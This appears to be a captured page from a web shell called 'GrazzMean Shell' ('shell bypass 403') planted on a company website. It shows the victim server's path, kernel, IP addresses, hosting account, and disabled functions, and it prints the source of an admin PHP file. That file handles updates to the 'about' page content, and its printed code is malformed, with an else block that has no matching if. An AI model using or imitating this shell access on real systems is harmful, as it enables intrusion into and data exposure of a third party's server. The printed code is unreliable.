shell bypass 403

GrazzMean Shell

: /var/www/vhosts/m-auto.co/httpdocs/admin/ [ drwxr-xr-x ]
Uname: Linux serv.m-auto.co 3.10.0-1160.42.2.el7.x86_64 #1 SMP Tue Sep 7 14:49:57 UTC 2021 x86_64
Software: nginx/1.28.2
PHP version: 8.1.34 [ PHP INFO ] PHP os: Linux
Server Ip: 41.215.243.19
Your Ip: 216.73.216.151
User: m-auto.co_vxasg6smqe (10000) | Group: psacln (1003)
Safe Mode: OFF
Disable Function:
opcache_get_status,mail

name : about_process.php
<?php
include '../includes/db.php';
include_once __DIR__ . '/../includes/permissions.php';
session_start();
require_permission('about_page_edit');
    
    // Data from form
    $content_updates = [
        'hero' => [
            'title' => $_POST['hero_title'],
            'content' => $_POST['hero_content'],
            'image_url' => '' // No image for hero section
        ],
        'story' => [
            'title' => $_POST['story_title'],
            'content' => $_POST['story_content'],
            'image_url' => $_POST['story_image_url']
        ],
        'vision' => [
            'title' => $_POST['vision_title'],
            'content' => $_POST['vision_content'],
            'image_url' => $_POST['vision_image_url']
        ]
    ];

    // Prepare statement
    $stmt = $conn->prepare("UPDATE about_content SET title = ?, content = ?, image_url = ? WHERE section = ?");

    foreach ($content_updates as $section => $data) {
        $stmt->bind_param("ssss", $data['title'], $data['content'], $data['image_url'], $section);
        $stmt->execute();
    }

    $stmt->close();
    $conn->close();

    // Redirect back to the edit page with a success message
    header("Location: about_edit.php?success=1");
    exit();

} else {
    // If not a POST request, redirect to the edit page
    header("Location: about_edit.php");
    exit();
}
?>
© 2026 GrazzMean